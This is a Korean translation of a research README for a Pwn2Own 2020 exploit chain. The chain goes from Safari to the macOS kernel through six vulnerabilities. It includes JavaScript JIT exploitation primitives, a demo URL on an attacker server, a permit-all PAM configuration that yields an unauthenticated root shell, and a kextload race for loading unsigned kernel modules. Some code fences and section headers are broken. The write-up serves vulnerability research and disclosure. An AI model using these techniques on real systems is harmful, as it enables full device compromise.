
여섯 가지 취약점을 연쇄적으로 연결해 Safari를 통해 macOS 커널을 손상시키기
이 저장소에는 macOS 10.15.3에 대한 커널 권한 상승을 통해 Apple Safari를 대상으로 한 우리의 Pwn2Own 2020 우승 제출물의 악용 및 기술적 세부 정보가 포함되어 있습니다. 추가 정보는 우리의 Blackhat USA 2020 슬라이드 및 비디오에서 확인할 수 있습니다. 또한 이 저장소에는 성공적인 악용을 위한 데모 비디오가 포함되어 있습니다.
2. Safari를 사용하여 공격자 서버의 IP로 웹사이트에 접속합니다:```
http://[attacker_ip]/exploit.html
csrutil status 명령을 실행하면
disabled로 표시되는지 확인할 수 있습니다.편의를 위해 컴파일된 페이로드 payload.js를 제공했습니다. 하지만 원한다면 직접
빌드할 수 있습니다. 이 과정은 익스플로잇 체인의 일부로 WebKit을 빌드하기 때문에
매우 오래 걸릴 수 있습니다. 우리는 Mac OS에서만 빌드 과정을 테스트했다는 점을
알아두는 것이 좋습니다.```shell
$ python3 -m pip install --user lief $ make
Technical details
-----------------
이 익스플로잇을 만들기 위해 우리는 다음의 *여섯 가지* 취약점을 연쇄적으로 사용했습니다.
### 1. JavaScriptCore DFG 컴파일러에서 'in' 연산자의 잘못된 부작용 모델링으로 인한 Safari 원격 코드 실행
- 근본 원인 분석
JavaScriptCore에서 인덱스 속성이 'in' 연산자로 조회될 때,
DFG 컴파일러는 해당 연산을 가로챌 수 있는 프록시 객체가 프로토타입 체인에 없으면
그 연산이 부작용이 없다고 가정합니다.
JavaScriptCore는 'MayHaveIndexedAccessors'라는 플래그를 사용하여
이 인덱스 속성 접근을 가로챌 수 있는 객체를 표시합니다.
이 플래그는 Proxy 객체에 명시적으로 표시됩니다.```javascript
0 in [] // side-effect free
let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!
그러나 부작용을 일으킬 수 있는 또 다른 객체가 있습니다:
자체 getOwnPropertySlot() 메서드를 구현하는 JSHTMLEmbedElement입니다. 한 가지
방법은 'in' 연산자로 JavaScript 콜백(즉, 부작용)을 트리거하는 것으로,
PDF 플러그인과 함께 <embed> 요소를 사용하는 것입니다. 어떤 속성이 쿼리되면
embed / object 태그의 DOM 객체에서, 이를 뒷받침하는 플러그인을 로드하려고 시도하며,
PDF 플러그인의 경우 body 요소에 appendChild 메서드를 사용하므로
DOMSubtreeModified 이벤트 핸들러가 호출될 수 있습니다.
이것은 getOwnPropertySlot()에서 부작용을 호출하는 스택 추적입니다.```txt Stack trace #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)
프로토타입 체인의 어떤 객체도 "MayHaveIndexedAccessors"로 표시되지
않으므로, JIT는 이 'in' 연산자의 사용이 내부에 전이(transition)를
가지지 않는다고 가정하여, 전이 후의 배열 타입 검사를
제거한다.```javascript
// In the frame of
function opt(arr) {
arr[0] = 1.1;
100 in arr; // 100 not exists in arr, making it check __proto__
return arr[0]
}
for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')
document.body.addEventListener('DOMSubtreeModified', () => {
arr[0] = {}
})
document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value
이로부터 addrof/fakeobj 프리미티브를 구축하여, JIT 컴파일된 JavaScript 함수로 코드 실행을 얻기 위한 임의의 RW 프리미티브를 만들 수 있습니다.
addrof/fakeobj 프리미티브를 얻은 후, 객체를 페이킹하여 더 안정적인 addrof/fakeobj 프리미티브로 변환합니다.```javascript hostObj = { // hostObj.structureId // hostObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) id: (new Int64('0x0108191700000000')).asJSValue(), butterfly: null, o: {}, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31, a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48) identifier: null } }, // -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40) strlen_or_id: (new Int64('0x10')).asDouble(), // String.size target: hostObj // String.data_ptr }
hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier Function.prototype.toString(fakeHostObj) // function leaked-structure-id { [native code] }
우리는 가짜 함수 객체
fakeHostObj를 만들어 Function.prototype.toString을 호출하여 hostObj의 구조 ID를 누출합니다. 함수의 이름은
구조 ID 값을 UTF-16 문자열로 반영합니다. 우리는
구조 ID를 누출한 후 hostObj를 업데이트합니다. 주목할 점은 이
기술이 [Yong Wang의 Blackhat EU 2019
발표](https://www.blackhat.com/eu-19/briefings/schedule/#thinking-outside-the-jit-compiler-understanding-and-bypassing-structureid-randomization-with-generic-and-old-school-methods-17513)에서 비롯되었다는 것입니다.```javascript
hostObj = {
// hostObj.structureId
// hostObj.butterfly
_: 1.1, // dummy
length: (new Int64('0x4141414141414141')).asDouble(),
// -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
id: leakStructureId.asDouble(), // fakeHostObj.structureId
butterfly: fakeHostObj, // fakeHostObj.butterfly
o: {},
...
}
이제 fakeHostObj의 butterfly가 fakeHostObj 자체를 가리키고 있습니다. hostObj.o를 JSValue로 또는 fakeHostObj[2]를 double로 접근할 수 있으므로, 버그를 다시 트리거하지 않고도 addrof/fakeobj 프리미티브를 사용할 수 있습니다.
유출된 attackObj의 structure id와 addrof/fakeobj 프리미티브를 사용하면 아래와 같은 객체를 제작할 수 있습니다.```javascript rwObj = { // rwObj.structureId // rwObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20) id: leakStructureId.asDouble(), // fakeRwObj.structureId butterfly: fakeRwObj, // fakeRwObj.butterfly
__: 1.1, // dummy
innerLength: (new Int64('0x4141414141414141')).asDouble(),
// fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
innerId: leakStructureId.asDouble(), // fakeInnerObj.structureId
innerButterfly: fakeInnerObj, // fakeInnerObj.butterfly
}
`fakeRwObj`를 이용해 `fakeInnerObj`의 butterfly 포인터를 갱신하고, `fakeInnerObj`로부터/로 임의 읽기/쓰기(RW) 원시 프리미티브를 얻을 수 있습니다. 임의 RW 프리미티브에서 RCE를 얻기 위해 dummy 함수의 JIT 컴파일을 트리거하고, 코드 주소를 누출한 뒤 이를 셸코드로 덮어씁니다. 때로는 fake 배열에서 특정 값을 읽거나 쓸 수 없어 코드 주소 누출이 실패하기도 합니다. 그런 경우에는 포인터 위치 + 1에서 읽고 읽은 값을 시프트하여 근사값을 얻으려 시도합니다. 마지막으로 alert 함수의 코드 포인터를 dummy 함수의 코드 포인터로 덮어쓰고 (일부 인자와 함께) 호출하여 셸코드를 실행합니다.
### 2. didFailProvisionalLoad()의 심볼릭 링크를 통한 Safari에서 임의 .app 실행
file:// URL의 경우 Safari는 [NSWorkspace selectFile:inFileViewerRootedAtPath:]로 Finder 창을 엽니다.
이 함수는 두 개의 매개변수를 받으며, 대부분의 경우 Safari는 첫 번째 매개변수만 사용하여 지정된 파일이 포함된 폴더를 표시합니다. 그러나 두 번째 매개변수가 대신 사용되면 Finder는 해당 파일이 실행 가능하거나 앱 번들일 경우 해당 파일을 실행합니다.
Safari는 지정된 경로가 애플리케이션 번들(.app 접미사를 가진 디렉터리)이 아님을 확인한 후 두 번째 매개변수를 사용합니다. 심볼릭 링크는 앱 번들을 가리킬 수 있지만 .app 접미사를 가진 디렉터리는 아니므로, Safari는 심볼릭 링크가 가리키는 애플리케이션을 실행합니다. 이 코드 경로는 didFailProvisionalLoad() IPC 메시지를 보내 트리거할 수 있습니다.
그러나 Safari 자체는 Seatbelt 샌드박스의 시스템 호출 필터 때문에 심볼릭 링크를 만들 수 없습니다. 그래서 우리는 root 권한을 주지만 샌드박스된 코드 실행만 허용하는 또 다른 취약점을 사용합니다.
### 3. 힙 오버플로를 통한 CVM(Core Virtual Machine) 서비스에서 임의 코드 실행
com.apple.cvmsServ(즉, CVMServer)라는 샌드박스된 XPC 서비스가 있으며, 다양한 아키텍처용 셰이더를 컴파일합니다. 이는 내장 OpenGL 프레임워크의 일부입니다.
"message" 필드가 4로 설정된 요청의 경우 CVMServer는 사용자가 지정한 "framework data"와 "maps"를 파싱합니다. "maps" 데이터 파일은 "/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps"에 위치합니다. 첫 번째 %s는 필터 없이 사용자가 지정한 값이므로 디렉터리 트래버셜이 가능합니다. 따라서 Safari의 샌드박스 내에서 생성된 파일을 파싱하도록 만들 수 있습니다.```c
FILE *fp = fopen(&framework_name_, "r");
...
Header *header = malloc(0x50);
fread(header, 0x50, 1, v132);
...
items_offset = header->items_offset;
items_count = header->items_count;
header = realloc(header, 56 * items_count + items_offset);
fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132);
만약 item_count * 56 + items_offset <= 0x50이면, fread()는 언더플로된
길이(2^64 근처)를 전달받아 임의 길이 페이로드로 힙 오버플로가 됩니다.
fread()는 지정된 파일의 끝에 도달하면 중지된다는 점에 유의하세요.
이를 활용하면 연결과 관련된 힙 객체를 덮어써서 아래에 언급된 포인터들을 수정할 수 있습니다:```c case 7: // "message" == 7 v34 = xpc_dictionary_get_uint64(input, "heap_index"); v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size); if ( v11 ) goto error; xpc_dictionary_set_mach_send(reply, "vm_port", port);
__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4) { Pool *pool; // rax unsigned int v7; // ebx heapitem *v8; // rax
pthread_mutex_lock((&server_globals + 2)); // a1->attachedService is controlled value pool = a1->attachedService->context->pool_ptr; v7 = 521; if ( pool->pointersCount > index ) { v8 = pool->pointers; *port = v8[index].port; *a4 = v8[index].size; v7 = 0; } pthread_mutex_unlock((&server_globals + 2)); return v7; }
"port" 값이 0x103(TASK-SELF)이면, 서비스는 클라이언트에게 CVMServer의 task port에 대한
send right를 부여하며, 이를 통해 메모리를 할당하고 프로세스에서 임의의 코드를
실행할 수 있습니다. v8[index].port == 0x103을 만들기 위해, 우리는
프로세스 간에 동일한 주소를 가지는 라이브러리 영역의 메모리를
검색했습니다.```txt
rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)
0과 -1이라는 두 개의 64비트 정수 값을 가진 영역이 많았고, rax+0x38과 X+0x30의 경우 공개 심볼인 _xpc_error_termination_imminent가 이 조건을 충족한다는 것을 발견했습니다. 길이가 2^64 / 0x10보다 크기 때문에, Y(==0)*0x18+index+0x10 == &0x103을 가리키는 모듈러 역원을 계산할 수 있었습니다.
CVMServer에는 com.apple.security.cs.allow-jit가 설정되어 있었기 때문에, MAP_JIT 플래그로 mmap을 호출하고 리플렉티브 로더를 호출하여 프로세스에서 dylib 파일을 실행할 수 있었습니다. 우리는 CVMServer에서 다음 코드를 실행했습니다:```c // In /var/db/CVMS (writable folder)
char randbuf[0x1000]; sprintf(randbuf, "%lu.app", clock()); symlink(randbuf, "my.app");
// Create a valid application at my.app
`%lu.app` 및 심볼릭 링크 `my.app`을 생성한 후 Safari로 돌아가 앱을 열기 위한 IPC 메시지를 전송했습니다. 그러나 두 가지 추가 보호 장치가 더 있었습니다: 격리(quarantine) 검사와 앱을 처음 열 때 수행되는 확인 절차입니다.
### 4. macOS 최초 실행 앱 보호 우회
Safari가 앱을 처음 실행하려고 하면, 파일에 `com.apple.quarantine`이라는 속성이 있는 경우 Safari는 실행을 거부하거나 사용자의 확인을 기다립니다. WebProcess가 생성한 모든 파일에는 `com.apple.quarantine` 속성이 있습니다. 하지만 우리는 폴더를 WebProcess가 아닌 CVMServer 프로세스에서 생성했기 때문에 이미 이 검사를 우회할 수 있었습니다. 사용자 확인의 경우, macOS는 먼저 프로세스를 생성하고 일시 중단한 다음, 사용자가 `Open` 버튼을 클릭하면 프로세스를 계속 진행합니다. 그러나 SIGCONT 신호를 보내는 것이 버튼을 클릭하는 것과 동일하게 작동했습니다.
따라서 우리는 `my.app`을 생성한 후 CVMServer에서 이 코드를 계속 실행했습니다:```c
for(int i = 0; i < 65536; i++)
kill(i, SIGCONT);
cfprefsd는 사용자가 plist 파일을 생성할 수 있게 해주는 또 다른 XPC 서비스입니다. 그것은 CoreFoundation에 위치하며 대부분의 샌드박스가 적용되지 않은 프로세스에서 도달할 수 있습니다. 우리는 이미 일반 사용자에 대한 샌드박스 없는 권한(즉, CVMServer)을 획득했기 때문에, 대상 폴더와 파일에 클라이언트 사용자가 파일을 쓸 수 있도록 허용하는 충분한 권한 비트가 있다면 cfprefsd에 plist 파일 생성을 요청할 수 있습니다. 그러나 폴더가 존재하지 않는 경우, plist 파일의 폴더를 재귀적으로 생성합니다.
CVMServer에서 폴더를 생성하는 코드 스니펫은 다음과 같습니다.```c _CFPrefsCreatePreferencesDirectory(path) { for(slice in path.split("/")) { cur += slice if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) { chmod(cur, perm) chown(cur, client_id, client_group) } else break } }
하지만 경로가 사용자 쓰기 가능 디렉터리를 가리키면, 사용자는 `cur`이 가리키는 디렉터리를 교체하고 이를 임의의 파일/폴더에 대한 심볼릭 링크로 대체할 수 있습니다. cfprefsd는 루트 권한을 가지므로 /etc/pam.d와 같은 폴더의 소유자를 변경할 수 있습니다. /etc/pam.d의 소유자를 변경함으로써 아래 내용으로 /etc/pam.d/login을 작성할 수 있습니다:```txt
auth optional pam_permit.so
auth optional pam_permit.so
auth optional pam_permit.so
auth required pam_permit.so
account required pam_permit.so
account required pam_permit.so
password required pam_permit.so
session required pam_permit.so
session required pam_permit.so
session optional pam_permit.so
그러면 login root 명령은 사용자에게 인증 없이 루트 셸을
제공합니다.
kextload는 macOS에서 kext(커널 확장) 작업을 수행할 수 있는 프로그램 중 하나입니다.
kextload [.kext 폴더의 경로]를 실행하면 루트 사용자는 사용자 모드에서
서명된 kext를 로드할 수 있습니다. 서명되지 않았거나 유효하지 않은 서명된 kext를
방지하기 위해 kextload는 IOKitUser 패키지에 'authenticator' 콜백을 설정합니다.
불행히도 콜백에 사용할 수 있는 리소스는 kext의 경로뿐이므로 경쟁 조건을
방지하기 어렵습니다. 이를 완화하기 위해 kextload는 먼저 kext 폴더를
전용 공간 -- /Library/StagedExtensions ---에 복사합니다. 이 공간은
SIP와 entitlement 메커니즘 덕분에 루트 권한으로도 수정할 수
없습니다.
kextload는 다음과 같이 작동합니다. kextload /tmp/A.kext를 실행하면 kextload는
원본 kext 폴더를 /Library/StagedExtensions/tmp/[UUID].kext에 복사합니다.
그런 다음 kextload는 폴더에 있는 모든 파일의 서명을 확인합니다. 이 과정이 실패하면
폴더를 삭제합니다. 그렇지 않으면 폴더를 /Library/StagedExtensions/tmp/A.kext에
복사하고 이 모듈을 로드합니다.```txt
$ kextload /tmp/A.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext
-> validate signatures. if failed, delete the directory
-> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext
-> load the kext
kextload에서 한 가지 문제는 이 프로세스가 root 권한 사용자에 의해 종료될 수 있다는 점입니다. 앞서 언급한 복사본에는 심볼릭 링크가 포함되어 있으며, 이는 나중에 검증된다는 점에 주목할 만합니다. 그러나 검증 전에 kextload 프로세스를 종료하면 /Library/StagedExtensions에 심볼릭 링크가 있는 유효하지 않은 kext를 유지할 수 있습니다.```txt
# assume /tmp/A.kext/symlink -> /tmp/
$ kextload /tmp/A.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext
-> kill this process
-> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained
이후에, 또 다른 kextload 명령을 실행하면
kextload /tmp/[UUID].kext/symlink/B.kext, B.kext는 쓰기 가능한 위치로 복사될 것입니다.
root 권한 사용자를 위한 위치 (예: /tmp/[UUID'].kext)```
$ kextload /tmp/[UUID].kext/symlink/B.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext
-> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext.
복사 후, kextload는 보안 위치(`/Library/StagedExtensions/*`)에 있는지
확인합니다. `/tmp/A.kext`에 심볼릭 링크를 임시로 배치하여
`/Library/StagedExtensions/[유효한 kext 경로]`를 가리키게 할 수 있습니다.
검증 후, 모듈 바이너리를 서명되지 않은 커널 모듈로 교체하여
커널 코드 실행 권한을 얻을 수 있습니다.
레이스 조건을 안정적으로 만들기 위해, 지정된 접미사가 있는 파일 접근 시
프로그램을 중지시키도록 sandbox-exec를 사용했습니다.
저자
-------
- Yonghwi Jin ([email protected])
- Jungwon Lim ([email protected])
- Insu Yun ([email protected])
- Taesoo Kim ([email protected])
인용
--------```txt
@inproceedings{jin:pwn2own2020-safari,
title = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},
author = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},
booktitle = {Black Hat USA Briefings (Black Hat USA)},
month = aug,
year = 2020,
address = {Las Vegas, NV},
}